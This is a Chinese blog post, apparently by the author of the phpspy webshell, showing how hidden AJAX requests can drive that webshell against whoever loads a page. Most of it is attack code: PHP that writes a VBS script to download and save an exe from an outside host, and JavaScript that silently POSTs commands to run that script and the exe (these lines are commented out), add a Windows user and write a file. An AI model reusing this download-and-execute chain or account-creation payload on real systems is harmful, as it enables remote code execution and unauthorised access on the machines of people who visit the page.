本来想给小黑群里的人开个玩笑。谁知道经过小黑的csrf实例后，大家都先看代码了。这下我明白了。小黑用过的招数都不能再用了。再用就不灵了。因为小黑太黑，让人印象深刻。
还是记录一下吧，ajax真的是隐秘性很高。我是这样来利用的。比较彻底。
PHP代码
- elseif ($doing == 'writevbs') {
- $fp = @fopen('c:/angel.vbs','w');
- $vbs = "Set love = CreateObject(\"Microsoft.XMLHTTP\")\n".
- "love.Open \"GET\",\"http://www.4ngel.net/1.exe\",0\n".
- "love.Send()\n".
- "Set you = CreateObject(\"ADODB.Stream\")\n".
- "you.Mode = 3\n".
- "you.Type = 1\n".
- "you.Open()\n".
- "you.Write(love.responseBody)\n".
- "you.SaveToFile \"c:\\1.exe\",2";
- @fwrite($fp,$vbs);
- @fclose($fp);
- }
加了一段代码是生成一个VBS脚本。这段脚本的作用从4ngel.net上下载一个1.exe文件保存到他本地的1.exe，然后有一段是AJAX的功能代码。
JavaScript代码
- <script type="text/javascript">
- var http_request = false;
- function makeRequest(url, httpType, sendData) {
- http_request = false;
- if (!httpType) httpType = "GET";
- if (window.XMLHttpRequest) { // Non-IE...
- http_request = new XMLHttpRequest();
- if (http_request.overrideMimeType) {
- http_request.overrideMimeType('text/plain');
- }
- } else if (window.ActiveXObject) { // IE
- try {
- http_request = new ActiveXObject("Msxml2.XMLHTTP");
- } catch (e) {
- try {
- http_request = new ActiveXObject("Microsoft.XMLHTTP");
- } catch (e) {}
- }
- }
- if (!http_request) {
- alert('Cannot send an XMLHTTP request');
- return false;
- }
- http_request.open(httpType, url, true);
- http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
- http_request.send(sendData);
- }
- //makeRequest('<?=$self?>', 'POST', 'action=file&doing=writevbs');
- //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\angel.vbs');
- //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\1.exe');
- makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=net user angel angel /add');
- makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=echo my_name_is_angel > c:\\angel.txt');
- </script>
最后几句是以POST方式请求本地测试环境中的phpspy2008，调用命令执行功能，生成vbs，然后执行VBS。再执行下载的exe文件。不过我已经注释掉了。这样在本地测试是成功的。对待自己兄弟们不能这么心狠。所以就注释掉了。加了一个用户。
我只是想说。AJAX作为一个现在逐渐受到重视的技术，在强调增加用户体验的同时，带来的安全也是神不知鬼不觉的。因为他的请求。你根本察觉不到。更具体的应用还是要靠大家自己去领悟了。
4ngel / Small!A
